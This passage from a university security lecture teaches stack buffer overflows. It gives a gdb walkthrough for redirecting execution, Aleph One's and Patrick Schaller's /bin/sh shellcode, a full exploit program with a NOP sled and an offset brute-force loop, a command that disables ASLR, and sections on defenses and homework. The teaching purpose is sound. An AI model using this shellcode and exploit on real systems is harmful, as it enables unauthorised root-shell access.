printf("You entered: %s", buf);

}

void bar() {

printf("\n\nWhat? I was not supposed to be called!\n\n");

fflush(stdout);

}

int main(int argc, char *argv[]) {

if (argc != 2) {

printf("Usage: %s some_string", argv[0]);

return 2;

}

foo(argv[1]);

return 0;

}

Note the following three features of this program:

1. As you can see from main, the program requires that you

call it with exactly one string as a command-line argument.

[The argument count held by argc includes the name of the program (which in our case is

buffover4.c).]

2. main calls foo() with the command-line argument received

by main. The function foo() is obviously vulnerable to

buffer overflow since it uses strcpy() to copy its argument

string into the array variable buf that has only 4 bytes
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allocated to it.

3. The function bar() is NOT called anywhere in the code.

Therefore, ordinarily, you would never see in your terminal

window the message that is supposed to be printed out by

printf() in bar().

• Our goal in this section is to design an input string that when

fed as a command-line argument to the above program would

cause the flow of execution to move into the function bar(),

with the result that the message shown inside bar() will be

printed out.

• We obviously want the overflow in the buffer allocated to the

array variable buf to be such that it overruns the stack memory

location where the stack-frame created for foo() stores the

return address. As mentioned previously, the return address

points to the top of the stackframe of the calling function.

Even more importantly, this overwrite must be such that the

new return address corresponds to the entry into the code for

the function bar(). [If you just randomly overrun the buffer and overwrite the return

address in a stack frame, you are likely to create a pointer to some invalid location in the memory.

When that happens, the program will just crash with a segfault. That is, with a random overwrite of

the return address in a stackframe, you are unlikely to cause the thread of execution to initiate the

execution of another function.]
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• In the rest of this section, I will show how you can “design” an

input string for the program shown above so that the buffer

overflow vulnerability in the foo() function can be exploited to

steer at run-time the flow of execution into the bar() function.

• The step-by-step demonstration presented below was created

with Ubuntu 10.4 64-bit Linux distribution. [If you are not sure as to

whether you are running a 32 bit or a 64 bit Linux distribution, do either uname -a or

uname -m. In either case, for 64-bit Linux, you will see the substring x86 64 in the string

that is returned.]

• Note that since we will be working with 64-bit memory

addressing, as mentioned previously in Section 21.4, in the

discussion that follows the register that holds the stack pointer

is named rsp and the register that holds the frame pointer is

named rbp.

• Here are the steps:

Step 1: Compile the code with the ’-g’ option in order to produce the

information needed by the debugger:

gcc -g buffover4.c -o buffover4

Do realize that we are leaving in place the default stack protection

provided by the gcc compiler. As you will see, this default stack
protection does not do us any good.
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Step 2: We now run the executable buffover4 inside the gbb
debugger:

gdb buffover4

Step 3: We need the memory address for entry to the object code for
the bar() function. As stated earlier, when the return address in
the stackframe for foo() is overwritten, we want the new address to

be the entry into the object code for bar(). So we ask gdb to show
the assembler code for bar(). This we do by

(gdb) disas bar

where (gdb) is the debugger prompt and where disas is simply
short for the command disassembly — you can use either version.

The above invocation will produce an output like

Dump of assembler code for function bar:

0x000000000040068e <+0>: push %rbp

0x000000000040068f <+1>: mov %rsp,%rbp

0x0000000000400692 <+4>: mov $0x400800,%edi

0x0000000000400697 <+9>: callq 0x400528 <puts@plt>

0x000000000040069c <+14>: mov 0x20099d(%rip),%rax # 0x601040 ...

0x00000000004006a3 <+21>: mov %rax,%rdi

0x00000000004006a6 <+24>: callq 0x400558 <fflush@plt>

0x00000000004006ab <+29>: leaveq

0x00000000004006ac <+30>: retq

End of assembler dump.

From the above dump, we get hold of the first memory location that
signifies the entry into the object code for bar(). For the
compilation we just carried out, this is given by

0x000000000040068e. We are only going to need the last four bytes
of this memory address: 0040068e. When we overwrite the buffer

for the array buf in foo(), we want the four bytes 0040068e to be
the overwrite for the return address in foo’s stackframe.
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Step 4: Keeping in the mind the four bytes shown above, we now
synthesize a command-line argument needed by our program

buffover4. This we do by

(gdb) set args ‘perl -e ’print "A" x 24 . "\x8e\x06\x40\x00"’‘

Note that we are asking perl to synthesize for us a 28 byte string in

which the first 24 characters are just the letter ’A’ and the last four
bytes are what we want them to be. In the above invocation, set

args is a command to gdb to set what is returned by perl as a
command-line argument for buffover4 object code. The option ’-e’

to perl causes Perl to evaluate what is inside the forward ticks. The
operator ’x’ is Perl’s replication operator and the operator ’.’ is

Perl’s string concatenation operator. Note that the argument to set

args is inside backticks, which causes the evaluation of the
argument. [Also note that the four bytes we want to use for overwriting the return address

are in the reverse order of how they are needed. This is to take care of the big-endian to

little-endian conversion problem.]

Step 5: We are now ready to set a couple of breakpoints for the
debugger. Our first breakpoint will be at the entry to foo() and our

second breakpoint at a point just before the exit from this function.
To set the first breakpoint, we say

(gdb) break foo

Step 6: For the second breakpoint, as mentioned above, we need a

point just before the thread of execution exits the stackframe for
foo(). To locate this point, we again call on the disassembler:

(gdb) disas foo

This will cause the debugger to display something like:
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Dump of assembler code for function foo:

0x0000000000400654 <+0>: push %rbp

0x0000000000400655 <+1>: mov %rsp,%rbp

0x0000000000400658 <+4>: sub $0x20,%rsp

0x000000000040065c <+8>: mov %rdi,-0x18(%rbp)

0x0000000000400660 <+12>: mov -0x18(%rbp),%rdx

0x0000000000400664 <+16>: lea -0x10(%rbp),%rax

0x0000000000400668 <+20>: mov %rdx,%rsi

0x000000000040066b <+23>: mov %rax,%rdi

0x000000000040066e <+26>: callq 0x400548 <strcpy@plt>

0x0000000000400673 <+31>: mov $0x4007f0,%eax

0x0000000000400678 <+36>: lea -0x10(%rbp),%rdx

0x000000000040067c <+40>: mov %rdx,%rsi

0x000000000040067f <+43>: mov %rax,%rdi

0x0000000000400682 <+46>: mov $0x0,%eax

0x0000000000400687 <+51>: callq 0x400518 <printf@plt>

0x000000000040068c <+56>: leaveq

0x000000000040068d <+57>: retq

End of assembler dump.

We will set the second breakpoint to the assembly instruction
leaveq:

(gdb) break *0x000000000040068c

Step 7: Now we are ready to run the code:

(gdb) run

As you would expect, this execution will halt at the first breakpoint.

Given that our code is so simple, it won’t even take a moment for
that to happen. When the execution halts at the breakpoint, gdb
will print out something like this:

Starting program: /home/kak/course.d/ece404.11.d/BufferOverflow/buffover4 ‘perl -e .....

Breakpoint 1, foo (s=0x7fffffffe757 ’A’ <repeats 24 times>"\216, \006@") at buffover4.c:13
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Step 8: With the execution halted at the first breakpoint, we want to
examine the contents of the stackframe for foo. To see what the

stack pointer is pointing to, we invoke the GDB commands shown
below. The values returned are displayed in the commented out

portions of the display:

(gdb) print /x *(unsigned *) $rsp # what is at the stack location

# pointed to by stack pointer

# $1 = 0xffffe410

(gdb) print /x $rbp # what is stored in frame pointer

# $2 = 0x7fffffffe2f0

(gdb) print /x *(unsigned *) $rbp # what is at the stack location

# pointed to by frame pointer

# $3 = 0xffffe310

(gdb) print /x *((unsigned *) $rbp + 2) # what is the return address

# for this stackframe

# $4 = 0x4006f8

(gdb) print /x $rsp # what is stored in stack pointer

# $5 = 0x7fffffffe2d0

The specific values we have shown as being returned by the print
commands are for this particular demonstration. That is, if we were

to recompile buffover4.c, especially if we do so after we have
changed anything at all in the source code, these values would

surely be different.

Step 9: Let’s now examine a segment of 48 bytes on the stack starting

at the location pointed to by the stack pointer:

(gdb) x /48b $rsp

This will return an output like
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0x7fffffffe2d0: 0x10 0xe4 0xff 0xff 0xff 0x7f 0x00 0x00

0x7fffffffe2d8: 0x57 0xe7 0xff 0xff 0xff 0x7f 0x00 0x00

0x7fffffffe2e0: 0xa8 0x9a 0xa6 0xf7 0xff 0x7f 0x00 0x00

0x7fffffffe2e8: 0x10 0x07 0x40 0x00 0x00 0x00 0x00 0x00

0x7fffffffe2f0: 0x10 0xe3 0xff 0xff 0xff 0x7f 0x00 0x00

0x7fffffffe2f8: 0xf8 0x06 0x40 0x00 0x00 0x00 0x00 0x00

You see a six line display of bytes. In the first line, the first four
bytes are, in reverse order, the bytes at the location on the stack

that is pointed to by what is stored in the stack pointer — earlier
we showed this value to be 0xffffe410. The first four bytes in the

fifth line are, again in reverse order, the value stored at the stack
location pointed to by the frame pointer. Earlier we showed that

this value is 0xffffe310. Again you saw earlier that when we
printed out the return address directly, it was 0x4006f8. The bytes

shown in reverse order in the sixth line, 0xf8, 0x06, 0x40, and 0x00,
correspond to this return address.

It has been a while since we talked about the flow of execution
having stopped at the first breakpoint, which we set at the entry

into foo. To confirm that fact, if you wish you can now execute the
command

(gdb) disas foo

You will see the assembler code for foo and an arrow therein that
will show you where the program execution is currently stopped.

Step 10: Having examined the various registers and the stackframe for
foo, it is time to resume program execution. This we do by

(gdb) cont

where the command cont is the short form of the command

continue. The thread of execution will come to a halt at
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our second breakpoint, which is just before the exit from the

object code for foo, as you will recall. To signify this fact,

gdb will print out the following message on the screen:

Breakpoint 2, foo (s=0x7fffffffe757 ’A’ <repeats 24 times>"\216, \006@") ....

Step 11: At this point, we should have overrun the buffer allocated to
the array variable buf and hopefully we have managed to overwrite

the location in foo’s stackframe where the return address is stored.
To confirm that fact, it is time to examine this stackframe again:

(gdb) print /x $rsp # what is stored in stack pointer

# $6 = 0x7fffffffe2d0

(gdb) print /x *(unsigned *) $rsp # what is at the stack location

# pointed to by stack pointer

# $7 = 0xffffe410

(gdb) print /x $rbp # what is stored in frame pointer

# $8 = 0x7fffffffe2f0

(gdb) print /x *(unsigned *) $rbp # what is at the stack location

# pointed to by frame pointer

# $9 = 0x41414141

(gdb) print /x *((unsigned *) $rbp + 2) # what is the return address

# for this stackframe

# $10 = 0x40068e

As you can see, we have managed to overwrite both the contents of

the stack location pointed to by the frame pointer and the return
address in the stackframe for foo.

Step 12: To see the consequences of the overwrite of foo’s return

address, let’s first create a new breakpoint at the entry into bar by
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(gdb) break bar

GDB will come back with:

Breakpoint 3 at 0x400692: file buffover4.c, line 18.

Step 13: Recall that we are currently stopped at the second
breakpoint, which is just before the exit from foo. To get past this

breakpoint, let’s now step through the execution one machine
instruction at a time by issuing the commands:

(gdb) stepi

(gdb) stepi

The first call above will elicit an error message that you can ignore.

I believe this message is a result of the overwrite of the location
pointed to by the frame pointer. The second call, however, will elicit

the following from gdb:

0x000000000040068f 17 void bar() {

Now you know for sure that you are inside the object code

for bar. This means that our overwrite of the return address in the
stackframe for foo worked.

Step 14: We will now issue the following commands:

(gdb) cont

(gdb) cont

The first command will take us to the third breakpoint we set
earlier. And the second will cause the following to be displayed in

your terminal window:
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Continuing.

You entered: AAAAAAAAAAAAAAAAAAAAAAAA@

What? I was not supposed to be called!

Program received signal SIGSEGV, Segmentation fault.

0x00007fffffffe3f8 in ?? ()

The code in bar() was executed successfully before we hit segfault.

• Now that we successfully designed a string that overwrites the

return address in foo’s stackframe, we can feed it directly into

our application program by

buffover4 ‘perl -e ’print "A" x 24 . "\x8e\x06\x40\x00"’‘

and what you will see will be a response like

You entered: AAAAAAAAAAAAAAAAAAAAAAAA@

What? I was not supposed to be called!

Segmentation fault

• A program input-string designed in the manner described above

will, in general, work only for a specific compilation of the

source code. Should there be a need to recompile the program

buffover4.c, especially if you do the recompilation after you

have made a change to the source code, you may have to
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redesign the input string that would result in return address

overwrite.

• Finally, some of the other gdb commands that you will find

useful in the context described here are: list to see where

exactly you are in the source code at a given moment; s to step

into the next function; bt to see a listing of all the stackframes

currently in the stack; frame i to see the a particular

stackframe; info frame i to see the values stored in the stack

frame at the locations pointed to by the stack pointer, the frame

pointer, etc.; info locals to see the values stored for the local

variables; info break to see the information on the

breakpoints; info registers for the various registers. If you

want to print out the value of a local variable in hex, you say

print /x variable name; and so son. You enter quit to exit

the debugger.
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Back to TOC

21.7 USING BUFFER OVERFLOW TO
SPAWN A SHELL

• If an attacker can use a buffer overflow in the stack or in the

heap to spawn a shell, especially the root shell, you can well

imagine the havoc the attacker can wreak in your machine.

• Step-by-step instructions on how buffer overflow can be

exploited to spawn a shell were first published pseudonymously

under the name Aleph One in 1996 in what is now considered to

be one of the most famous articles in computer security. The

title of the article is “Smashing The Stack For Fun And

Profit” and it was published in a journal called Phrack. [As is

now known, the real name of this author is Elias Levy. In the year 2000, he was named by Network

Computing as one of the 10 most influential people at that time. As to why, Elias used to moderate

the BugTraq mailing list for computer security information during the days when most large

corporations would shove under the rug any reports about flaws in their software and hardware

products. The BugTraq mailing list allowed engineers and programmers to post these flaws without

fear of reprisals from their employers. As a result, BugTraq contributed significantly to raising

general awareness regarding security vulnerabilities. He was also the CTO and the co-founder of the

company SecurityFocus, which was acquired by Symantec in 2002.]

• Before detailing in the rest of this section the steps you must

undertake for constructing a shell-spawning buffer overflow
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attack, here is a summary of the steps:

1. A good starting point for learning how to spawn a shell with buffer overflow is a
simple C program whose main job is to call execeve() with the argument
/bin/sh

2. You examine the assembly code for the above mentioned program and come up
with a minimal list of assembler instructions that would do the same thing as the
program itself.

3. You test your collection of assembler instructions by putting them in a regular C
program and making the crafted sequence of assembler instructions as the
argument to ’ asm ()’ call.

4. If your collection of assembler instructions is correct, you look at the opcodes for
the program in the previous step with the objdump tool. You convert each opcode
and the associated arguments into the hex representation. The sequence of these
hex representations is your shellcode string.

5. In order to test that your shellcode is executable, you test it by setting a function
pointer to the beginning of the shellcode. That assignment should cause the
shellcode to be executed.

6. Next, you need to figure out how a given vulnerable application (meaning a
vulnerable C program) can be subject to a buffer overflow attack using the
shellcode you just created.

7. At some point during its execution, the vulnerable application will write out the
shellcode into its stack. But how do you make sure that the buffer overflow will
overwrite the return address in the current stackframe with the address you want
to place there through the shellcode?

8. You see, as the vulnerable application is being executed, in general, the
application may have pushed any number of local variables into the stack before it
gets around to writing your shellcode into the stack.

9. For any give vulnerable application, this may call for testing with augmenting the
shellcode with longer and longer no-op bytes until you have the needed rewrite for
the return address.

• The goal in the rest of this section is to elaborate on the steps

listed above. I’ll start with the highlights of the Aleph One
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recipe for spawning a shell with buffer overflow. It would help if

the reader would first go through the following document:

stack_smashing_annotated.txt

that is bundled with the code associated with Lecture 21 at the

“Lecture Notes on Computer and Network Security” website.

As its title suggests, this document is an annotated version of

the paper by Aleph One. The not-yet-fully-completed

annotations are by me and were necessitated by the fact that

both the compiler gcc and the assembler code instruction sets

have evolved during the last 20 years and those changes need to

be accounted for if you want to create a modern implementation

based on Aleph One’s recipe.

• A good starting point for spawning a shell through buffer
overflow is to first see how a shell can be spawned through a
program (as opposed to through the command-line directly,
which is what we do most of the time). Here is a program from
Aleph One that does the job for you:

// shellcode.c

#include <stdio.h>

#include <unistd.h>

int main() {

char* name[2];

name[0] = "/bin/sh";

name[1] = NULL;

execve(name[0], name, NULL);

return 0;

}
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• If you run the command “man execve” in your terminal screen,

here is how the manpage begins for this command: “execve()

executes the program pointed to by filename. filename must be either a binary

executable, or a script starting with a line ....”. Later in this section, I will

show the full signature of the execve function when I talk about

how to actually generate the shellcode for a buffer overflow

attack.

• If you compile the code shown above with, say, “gcc -o

shellcode shellcode.c” and run the executable, it will

immediately put you in a shell in which you’ll be able to execute

any command that your login credentials allow.

• In order to create a command-line string argument for buffer

overflow, as shown by Aleph One, we can do that by using

segments of the assembler code instructions for the program

shown above. As you saw in the previous section, this is again

best done with the help of the gdb debugger tool. Let’s go ahead

and do that. However, in order to stay to close to the spirit of

Aleph One’s narrative, let’s carry out a 32-bit compilation of

this code with [You can run 32-bit code on a 64-bit processor provided you have the requisite

libraries installed.]:

gcc -m32 -o shellcode -ggdb -static shellcode.c

where the “-static” option incorporates the code for the call to

execve within the executable that is produced. Without this
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flag, the executable will only have a reference to the library that

would need to be linked in at run time. Let’s invoke the

debugger on the output file

gdb shellcode

and examine the assembler code for main:

disas main

We get

Dump of assembler code for function main:

0x0804887c <+0>: lea 0x4(%esp),%ecx

0x08048880 <+4>: and $0xfffffff0,%esp

0x08048883 <+7>: pushl -0x4(%ecx)

0x08048886 <+10>: push %ebp

0x08048887 <+11>: mov %esp,%ebp

0x08048889 <+13>: push %ecx

0x0804888a <+14>: sub $0x14,%esp

0x0804888d <+17>: mov %gs:0x14,%eax

0x08048893 <+23>: mov %eax,-0xc(%ebp)

0x08048896 <+26>: xor %eax,%eax

0x08048898 <+28>: movl $0x80bad08,-0x14(%ebp)

0x0804889f <+35>: movl $0x0,-0x10(%ebp)

0x080488a6 <+42>: mov -0x14(%ebp),%eax

0x080488a9 <+45>: sub $0x4,%esp

0x080488ac <+48>: push $0x0

0x080488ae <+50>: lea -0x14(%ebp),%edx

0x080488b1 <+53>: push %edx

0x080488b2 <+54>: push %eax

0x080488b3 <+55>: call 0x806c620 <execve>

0x080488b8 <+60>: add $0x10,%esp

0x080488bb <+63>: mov $0x0,%eax

0x080488c0 <+68>: mov -0xc(%ebp),%ecx

0x080488c3 <+71>: xor %gs:0x14,%ecx

0x080488ca <+78>: je 0x80488d1 <main+85>

0x080488cc <+80>: call 0x806ef20 <__stack_chk_fail>

0x080488d1 <+85>: mov -0x4(%ebp),%ecx

0x080488d4 <+88>: leave

0x080488d5 <+89>: lea -0x4(%ecx),%esp

0x080488d8 <+92>: ret

End of assembler dump.

and, while in the debugger, making the call “disas execve”

returns
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Dump of assembler code for function execve:

0x0806c620 <+0>: push %ebx

0x0806c621 <+1>: mov 0x10(%esp),%edx

0x0806c625 <+5>: mov 0xc(%esp),%ecx

0x0806c629 <+9>: mov 0x8(%esp),%ebx

0x0806c62d <+13>: mov $0xb,%eax

0x0806c632 <+18>: call *0x80ea9f0

0x0806c638 <+24>: pop %ebx

0x0806c639 <+25>: cmp $0xfffff001,%eax

0x0806c63e <+30>: jae 0x8070520 <__syscall_error>

0x0806c644 <+36>: ret

End of assembler dump.

• As explained by Aleph One, one examines the assembler code

shown above and, from the code, puts together a sequence of

assembler instructions needed for synthesizing a “shellcode”

character array for buffer overflow. Here is one example of such

a sequence of assembler instructions from Aleph One:

// shellcodeasm.c

int main() {

__asm__ (

"jmp 0x2a;" // 3 bytes

"popl %esi;" // 1 byte

"movl %esi,0x8(%esi);" // 3 bytes

"movb $0x0,0x7(%esi);" // 4 bytes

"movl $0x0,0xc(%esi);" // 7 bytes

"movl $0xb,%eax;" // 5 bytes

"movl %esi,%ebx;" // 2 bytes

"leal 0x8(%esi),%ecx;" // 3 bytes

"leal 0xc(%esi),%edx;" // 3 bytes

"int $0x80;" // 2 bytes

"movl $0x1, %eax;" // 5 bytes

"movl $0x0, %ebx;" // 5 bytes

"int $0x80;" // 2 bytes

"call -0x2f;" // 5 bytes

".string \"/bin/sh\";" // 8 bytes

);

}

• Next, you would need to compile the assembler code shown
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above with a command like [You may have to first install the gcc-multilib library for

this to work. You can do that with a command like “sudo apt-get install gcc-multilib”]

gcc -m32 -o shellcodeasm -ggdb shellcodeasm.c

• You can examine the assembler code and the associated opcodes

with gdb. For example, to see the main section of the assembler

code and the opcodes in that section, we invoke disas inside the

debugger with the /r’ option:

gdb shellcodeasm

disas /r main

which returns

Dump of assembler code for function main:

0x080483db <+0>: 55 push %ebp

0x080483dc <+1>: 89 e5 mov %esp,%ebp

0x080483de <+3>: e9 47 7c fb f7 jmp 0x2a

0x080483e3 <+8>: 5e pop %esi

0x080483e4 <+9>: 89 76 08 mov %esi,0x8(%esi)

0x080483e7 <+12>: c6 46 07 00 movb $0x0,0x7(%esi)

0x080483eb <+16>: c7 46 0c 00 00 00 00 movl $0x0,0xc(%esi)

0x080483f2 <+23>: b8 0b 00 00 00 mov $0xb,%eax

0x080483f7 <+28>: 89 f3 mov %esi,%ebx

0x080483f9 <+30>: 8d 4e 08 lea 0x8(%esi),%ecx

0x080483fc <+33>: 8d 56 0c lea 0xc(%esi),%edx

0x080483ff <+36>: cd 80 int $0x80

0x08048401 <+38>: b8 01 00 00 00 mov $0x1,%eax

0x08048406 <+43>: bb 00 00 00 00 mov $0x0,%ebx

0x0804840b <+48>: cd 80 int $0x80

0x0804840d <+50>: e8 bf 7b fb f7 call 0xffffffd1

0x08048412 <+55>: 2f das

0x08048413 <+56>: 62 69 6e bound %ebp,0x6e(%ecx)

0x08048416 <+59>: 2f das

0x08048417 <+60>: 73 68 jae 0x8048481 <__libc_csu_init+81>

0x08048419 <+62>: 00 b8 00 00 00 00 add %bh,0x0(%eax)

0x0804841f <+68>: 5d pop %ebp

0x08048420 <+69>: c3 ret

End of assembler dump.
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• In order to generate the “shellcode” for buffer overflow, you

would need to dump out the opcodes in the executable for the

above program. You can see the opcodes with a tool like

objdump as in the following commands:

objdump -d shellcodeasm

objdump -d shellcodeasm | grep \<main\>: -A 20

The first command spits out the opcodes for the whole program

and second shows 20 lines of the output for the main section of

the executable. This will be identical to what was shown for

main previously with the “disas /r main” command inside the

debugger.

• You can string together the opcodes into a shellcode string. The

shellcode string put together by Alpeh One for one of his buffer

overflow examples is shown in the following C program:

// overflow1.c

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

int main() {

char buffer[96];

int i;

long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++)

*(long_ptr + i) = (int) buffer;

for (i = 0; i < strlen(shellcode); i++)

large_string[i] = shellcode[i];
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strcpy(buffer,large_string);

return 0;

}

• If you compile the program shown and execute it, you will be

placed in a shell — provided you run your code on a i386

processor. In order to create the shellcode for a 64-bit x86

processor, you’d need to follow the recipe in the annotated

document mentioned at the beginning of this section. That is

left to you, the reader, as an exercise.

• In the rest of this section, I will show the assembler instructions

compiled by Patrick Schaller in his tutorial “Tutorial: Buffer

Overflows”. This compilation of the assembler instructions

when executed will put you in a shell on a modern x86

processor. Here it is:

// shellcodeasm3.c

// by Patrick Schaller

int main()

{

__asm__(

"xor %eax, %eax\n" // eax = NULL

"push %eax\n" // terminate string with NULL

"push $0x68732f2f\n" // //sh (little endian)

"push $0x6e69622f\n" // /bin (little endian)

"mov %esp, %ebx\n" // pointer to /bin//sh in ebx

"push %eax\n" // create array for argv[]

"push %ebx\n" // pointer to /bin//sh in argv

"mov %esp, %ecx\n" // pointer to argv[] in ecx

"mov %eax, %edx\n" // NULL (envp[]) in edx

"movb $0xb, %al\n" // 11 = execve syscall in eax

"int $0x80\n" // soft interrupt

);

}
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These assembler instructions seek to make a system call to the

Linux function execve whose signature is

int execve( const char *filename, char *const argv[], char *const envp[])

with the first parameter filename set to a pointer to the

pathname to the function that execve must execute, which in

our case is the NULL-terminated character sequence “//bin/sh”;

with the second parameter argv set to an array of argument

strings passed to the function that will be executed by execve —

in our case, that is a pointer to an array whose first element is

again “//bin/sh”; and with the third parameter envp, meant for

setting the environment variables, will be set to NULL in our

case. Note how the first instruction uses the xor operator to

create a NULL in the EAX register. Also, as stated in the

associated comment, the hex 0x68732f2f is the little-endian

representation of the string “//sh” and the hex 0x6e69622f the

little-endian representation of the string “/bin”. After

successfully pushing the NULL-terminated character sequence

“/bin/sh” into the stack, the stack-pointer will contain the

address of this character sequence in the stack. So, next, we

place this address in the register EBX; and so on. [Note that the last

instruction int 0x80 is a mnemonic for “interrupt 0x80”, meaning a system call through a software interrupt.

The interrupt handler in this case is identified by 0x80, which is the Linux kernel itself. As to which specific

system call is being attempted, that depends on what is in the EAX register. If the EAX register contains the

integer 1, that implies a call to exit. In this case, the value in the EBX register holds the status code for

exit(). On the other hand, if the EAX register holds the decimal integer 12, which is case in the code shown
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above, then that is a call to execve. The arguments supplied in this system call would be supplied by the

registers shown in the code above.]

• If I compile this file with

gcc -m32 -o shellcodeasm3 shellcodeasm3.c

and run the executable in my Ubuntu laptop by simply calling

shellcodeasm3, I get the shell prompt, implying a successful

execution of the code with regard to its ability to put you in a

command shell.

• We can therefore sequence together the opcodes for the above

program as a “shellcode” string for mounting a buffer overflow

attack. As shown previously, we can use a tool like objdump to

see the opcodes for the above program. These opcodes are in

the shellcode string in the program shown below:

// shellcodeopcode.c

// by Patrick Schaller

char shellcode[] =

"\x31\xc0"

"\x50"

"\x68\x2f\x2f\x73\x68"

"\x68\x2f\x62\x69\x6e"

"\x89\xe3"

"\x50"

"\x53"

"\x89\xe1"

"\x89\xc2"

"\xb0\x0b"

"\xcd\x80";

int main()

{

void (*fp)() = shellcode;

fp();
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return 0;

}

We can compile it with “gcc -fno-stack-protector -o

shellcodeopcode shellcodeopcode.c”, with or without the -m32

option, and a successful compilation would indicate that our

shellcode is indeed executable. [Since the character array shellcode contains machine

code, just by setting a pointer for the function fp to the beginning of the array causes the machine code to be

executed.]

• Next let’s address the question of how one uses the shellcode

string previously constructed to mount a buffer overflow attack

on a given vulnerable application in order to spawn a shell

through such an attack.

• Using the shellcode character array shown above in

shellcodeopcode.c, Patrick Schaller has written an exploit for

spawning a shell by mounting a buffer overflow attack on a

vulnerable program named overflowexample.c that is shown

below:

// overflowexample.c

#include <stdio.h>

void proc(char* str, int a, int b)

{

char buf[50];

strcpy(buf, str);

}

int main(int argc, char* argv[])

{
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if(argc > 1)

proc(argv[1], 1, 2);

printf("%s\n", argv[1]);

return 0;

}

• What follows is the exploit on the code shown above:

// exploit3.c

// by Patrick Schaller

#include <stdio.h>

#include <unistd.h>

#define BUF 80

#define NOP 0x90

char shellcode[] =

"\x31\xc0"

"\x50"

"\x68\x2f\x2f\x73\x68"

"\x68\x2f\x62\x69\x6e"

"\x89\xe3"

"\x50"

"\x53"

"\x89\xe1"

"\x89\xc2"

"\xb0\x0b"

"\xcd\x80";

long unsigned get_esp()

{

__asm__("mov %esp, %eax");

}

int main(int argc, char *argv[])

{

int ret, i, n;

int *bufptr;

char *arg[3], buf[BUF];

if(argc < 2){

printf("Usage: %s offset\n", argv[0]);

exit(1);

}

/*estimated return address*/

ret = get_esp() + atoi(argv[1]);

/*fill buffer with return addresses*/

bufptr = (int*)buf;
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for(i=0;i<BUF; i +=4)

*bufptr++ = ret;

/*fill first part of buf with nops*/

for(i=0;i < 20 ; i++)

buf[i]= NOP;

/*copy shellcode into buf after nops*/

for(n=0;n<strlen(shellcode);n++)

buf[i++]=shellcode[n];

/*set up argv for vulnerable program*/

arg[0] = "./overflowexample";

arg[1] = buf;

arg[2] = NULL;

/*execute vulnerable program*/

execve(arg[0], arg, NULL);

return 0;

}

• As you can see in the “Usage” string in the exploit code, it

expects an offset for the position of the shellcode filled in the

array buf relative to the stack pointer. Patrick Schaller suggests

running the exploit in a loop with different values for the offset

to find the one that succeeds. If you are using bourne shell, you

can use the following command line for that

for i in $(seq 0 20 4000) ;do echo $i; ./exploit3 $i; done

• But, obviously, you have to first compile the exploit code. You

could try doing so with the following command:

gcc -fno-stack-protector -m32 -o overflowexample overflowexample.c

66



Computer and Network Security by Avi Kak Lecture 21

Back to TOC

21.8 Buffer Overflow Defenses

• The strategies described here are in addition to the

rearrangement of local variables and the insertion of canaries

in the stackframes that I presented in the second half of Section

21.4.1.

• If a buffer overflow attack calls for inserting the shellcode

directly into the stack and executing it there, that can be

thwarted by making the stack nonexecutable.

• A stack can be made nonexecutable by using the NX bit in a

memory address — a feature that is supported by many modern

CPUs. (The acronym NX stands for “No-eXecute.”) After the

operating system has used the NX bit to mark those portions of

the memory that are meant to contain only data, the CPU

would not execute any malicious code that resides therein. [For

Intel processors, the NX bit is more commonly known as XD (eXecute Disable) bit. ARM refers to the same

thing as XN (for eXecute Never). And AMD refers to it as Enhanced Virus Protection.] In 64-bit

x86 processors, the bit at position index 63 (the most significant

bit) serves as the NX bit. If this bit is set to 1, code starting at

that position will not be executed by the processor. On the

other hand, if this bit is set to 0, code execution can begin at

that location.
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• For nonexecutable stacks, there is another type of a buffer

overflow attack known as the “return-to-libc attack” in which

the return address in a stackframe is replaced by the address of

a library function that is already in the address space of the

process.

• However note that designing a buffer overflow string input for a

return-to-libc attack is difficult when ASLR (Address Space

Layout Randomization) is used as a general defense against

buffer overflow attacks. ASLR means that when a module or a

library file like libc is loaded into a running process at run

time, its addresses are shifted by a random number. This

random number changes each time you execute a program

since the process spawned for running the program will use a

newly generated value for the random number each time.

• ASLR makes it virtually impossible to associate a fixed process

memory address with the standard functions in, say, the libc

library. ASLR is turned on by default in many versions of

Linux, in OS X, and in Android. If you want to play with

creating exploits based on return-to-libc, you will first need to

turn off ASLR. I believe you can do that with a command like

the following in Linux:

sudo sysctl -w kernel.randomize_va_space=0
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• ASLR requires the compiler to produce what is known as

position-independent code.

• I should also mention it is easier to create buffer overflow

exploits if you use PEDA enabled GDB. PEDA stands for

Python Exploit Development Assistance for GDB. [Download the

source directory for PEDA from GitHub in any of your directories and unzip it. After that all you have to is

to place a pointer to the peda.py file in your “~/.gdbinit file in your HOME directory. Finally, when you run

a command like “gdb buffover4”, enter “help” to see different classes of commands you get with peda, and

“phelp” to see a list of peda subcommands. A command like “p bar” directly gives you the address of the

entry point into the function bar(). By the way, you should be able to execute all of the normal GDB

commands under PEDA.]

• For further information on PEDA, see Long Le’s BlackHat 2012

tutorial presentation entitled “Linux Interactive Exploit

Development with GDB and PEDA” that you can find by

Googling.

• Making the stack nonexecutable and ASLR strategies as

defenses against buffer overflow attacks are in addition to the

use of canaries and the rearranging of the variables in the

stackframes that I previously talked about in Section 21.4.1.
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Back to TOC

21.9 HOMEWORK PROBLEMS

1. In IANA port assignment table, we have “Well Known Ports,”

“Registered Ports,” and “Dynamic/Private Ports.” What do

these categories of ports mean to you? What is IANA?

2. Is it possible to cause buffer overflows in the heap?

3. Any differences between the terms “stack,” “run-time stack,”

“call stack,” “control stack,” and “execution stack?”

4. What is the difference between a process and function

execution? Why do we need the concept of a process in a

computer?

5. What is the relationship between a “call stack” and the “stack

frames” that found in a call stack?

6. Where does the stack pointer point to in a call stack? What

about the base pointer and the instruction pointer?
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7. Programming Assignment:

The goal of this assignment is to give you a deeper

understanding of buffer overflow attack. You are provided with

two socket programs in C. One of them acts as a server and the

other as a client. Your homework consists of testing whether the

server is vulnerable to buffer overflow attack. If not, modify the

server to create such a vulnerability. If yes, modify the server to

eliminate the vulnerability.

• Compile the server and the client programs using either gcc

or tcc on your Linux machine. If you use gcc, make sure

you give it the option “-fno-stack-protector” as explained in

Section 21.7 of this lecture.

• Test the programs with two different shell terminals on your

laptop — one for the server and the other for the client. You

can also run the server on a Purdue ECN machine using a

high numbered port like 7777 and the client on your own

laptop.

• Now try to figure out whether the server is vulnerable to the

buffer overflow attack.
